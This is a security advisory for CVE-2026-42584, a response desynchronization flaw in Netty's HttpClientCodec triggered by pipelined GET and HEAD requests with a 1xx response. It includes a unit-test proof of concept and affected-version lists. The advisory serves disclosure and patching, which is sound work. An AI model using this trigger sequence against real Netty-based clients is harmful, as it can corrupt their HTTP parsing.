GHSA-57rv-r2g8-2cj3

Suggest an improvement
Source
https://github.com/advisories/GHSA-57rv-r2g8-2cj3
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-57rv-r2g8-2cj3/GHSA-57rv-r2g8-2cj3.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-57rv-r2g8-2cj3
Aliases
  • CVE-2026-42584
Downstream
Related
Published
2026-05-07T00:21:48Z
Modified
2026-05-14T20:47:30.693204Z
Severity
  • 7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L CVSS Calculator
Summary
Netty has HttpClientCodec response desynchronization
Details

Summary

If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.

Details

HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.

Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Impact

Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.

Database specific 
{
    "cwe_ids": [
        "CWE-444"
    ],
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH",
    "github_reviewed_at": "2026-05-07T00:21:48Z",
    "github_reviewed": true
}
References

Affected packages

Maven / io.netty:netty-codec-http

Package

Name
io.netty:netty-codec-http
View open source insights on deps.dev
Purl
pkg:maven/io.netty/netty-codec-http

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.2.0.Alpha1
Fixed
4.2.13.Final

Affected versions

4.*
4.2.0.Alpha1
4.2.0.Alpha2
4.2.0.Alpha3
4.2.0.Alpha4
4.2.0.Alpha5
4.2.0.Beta1
4.2.0.RC1
4.2.0.RC2
4.2.0.RC3
4.2.0.RC4
4.2.0.Final
4.2.1.Final
4.2.2.Final
4.2.3.Final
4.2.4.Final
4.2.5.Final
4.2.6.Final
4.2.7.Final
4.2.8.Final
4.2.9.Final
4.2.10.Final
4.2.11.Final
4.2.12.Final

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-57rv-r2g8-2cj3/GHSA-57rv-r2g8-2cj3.json"
last_known_affected_version_range 
"<= 4.2.12.Final"

Maven / io.netty:netty-codec-http

Package

Name
io.netty:netty-codec-http
View open source insights on deps.dev
Purl
pkg:maven/io.netty/netty-codec-http

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.1.133.Final

Affected versions

4.*
4.0.0.Alpha1
4.0.0.Alpha2
4.0.0.Alpha3
4.0.0.Alpha4
4.0.0.Alpha5
4.0.0.Alpha6
4.0.0.Alpha7
4.0.0.Alpha8
4.0.0.Beta1
4.0.0.Beta2
4.0.0.Beta3
4.0.0.CR1
4.0.0.CR2
4.0.0.CR3
4.0.0.CR4
4.0.0.CR5
4.0.0.CR6
4.0.0.CR7
4.0.0.CR8
4.0.0.CR9
4.0.0.Final
4.0.1.Final
4.0.2.Final
4.0.3.Final
4.0.4.Final
4.0.5.Final
4.0.6.Final
4.0.7.Final
4.0.8.Final
4.0.9.Final
4.0.10.Final
4.0.11.Final
4.0.12.Final
4.0.13.Final
4.0.14.Beta1
4.0.14.Final
4.0.15.Final
4.0.16.Final
4.0.17.Final
4.0.18.Final
4.0.19.Final
4.0.20.Final
4.0.21.Final
4.0.22.Final
4.0.23.Final
4.0.24.Final
4.0.25.Final
4.0.26.Final
4.0.27.Final
4.0.28.Final
4.0.29.Final
4.0.30.Final
4.0.31.Final
4.0.32.Final
4.0.33.Final
4.0.34.Final
4.0.35.Final
4.0.36.Final
4.0.37.Final
4.0.38.Final
4.0.39.Final
4.0.40.Final
4.0.41.Final
4.0.42.Final
4.0.43.Final
4.0.44.Final
4.0.45.Final
4.0.46.Final
4.0.47.Final
4.0.48.Final
4.0.49.Final
4.0.50.Final
4.0.51.Final
4.0.52.Final
4.0.53.Final
4.0.54.Final
4.0.55.Final
4.0.56.Final
4.1.0.Beta1
4.1.0.Beta2
4.1.0.Beta3
4.1.0.Beta4
4.1.0.Beta5
4.1.0.Beta6
4.1.0.Beta7
4.1.0.Beta8
4.1.0.CR1
4.1.0.CR2
4.1.0.CR3
4.1.0.CR4
4.1.0.CR5
4.1.0.CR6
4.1.0.CR7
4.1.0.Final
4.1.1.Final
4.1.2.Final
4.1.3.Final
4.1.4.Final
4.1.5.Final
4.1.6.Final
4.1.7.Final
4.1.8.Final
4.1.9.Final
4.1.10.Final
4.1.11.Final
4.1.12.Final
4.1.13.Final
4.1.14.Final
4.1.15.Final
4.1.16.Final
4.1.17.Final
4.1.18.Final
4.1.19.Final
4.1.20.Final
4.1.21.Final
4.1.22.Final
4.1.23.Final
4.1.24.Final
4.1.25.Final
4.1.26.Final
4.1.27.Final
4.1.28.Final
4.1.29.Final
4.1.30.Final
4.1.31.Final
4.1.32.Final
4.1.33.Final
4.1.34.Final
4.1.35.Final
4.1.36.Final
4.1.37.Final
4.1.38.Final
4.1.39.Final
4.1.40.Final
4.1.41.Final
4.1.42.Final
4.1.43.Final
4.1.44.Final
4.1.45.Final
4.1.46.Final
4.1.47.Final
4.1.48.Final
4.1.49.Final
4.1.50.Final
4.1.51.Final
4.1.52.Final
4.1.53.Final
4.1.54.Final
4.1.55.Final
4.1.56.Final
4.1.57.Final
4.1.58.Final
4.1.59.Final
4.1.60.Final
4.1.61.Final
4.1.62.Final
4.1.63.Final
4.1.64.Final
4.1.65.Final
4.1.66.Final
4.1.67.Final
4.1.68.Final
4.1.69.Final
4.1.70.Final
4.1.71.Final
4.1.72.Final
4.1.73.Final
4.1.74.Final
4.1.75.Final
4.1.76.Final
4.1.77.Final
4.1.78.Final
4.1.79.Final
4.1.80.Final
4.1.81.Final
4.1.82.Final
4.1.83.Final
4.1.84.Final
4.1.85.Final
4.1.86.Final
4.1.87.Final
4.1.88.Final
4.1.89.Final
4.1.90.Final
4.1.91.Final
4.1.92.Final
4.1.93.Final
4.1.94.Final
4.1.95.Final
4.1.96.Final
4.1.97.Final
4.1.98.Final
4.1.99.Final
4.1.100.Final
4.1.101.Final
4.1.102.Final
4.1.103.Final
4.1.104.Final
4.1.105.Final
4.1.106.Final
4.1.107.Final
4.1.108.Final
4.1.109.Final
4.1.110.Final
4.1.111.Final
4.1.112.Final
4.1.113.Final
4.1.114.Final
4.1.115.Final
4.1.116.Final
4.1.117.Final
4.1.118.Final
4.1.119.Final
4.1.120.Final
4.1.121.Final
4.1.122.Final
4.1.123.Final
4.1.124.Final
4.1.125.Final
4.1.126.Final
4.1.127.Final
4.1.128.Final
4.1.129.Final
4.1.130.Final
4.1.131.Final
4.1.132.Final

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-57rv-r2g8-2cj3/GHSA-57rv-r2g8-2cj3.json"
last_known_affected_version_range 
"<= 4.1.132.Final"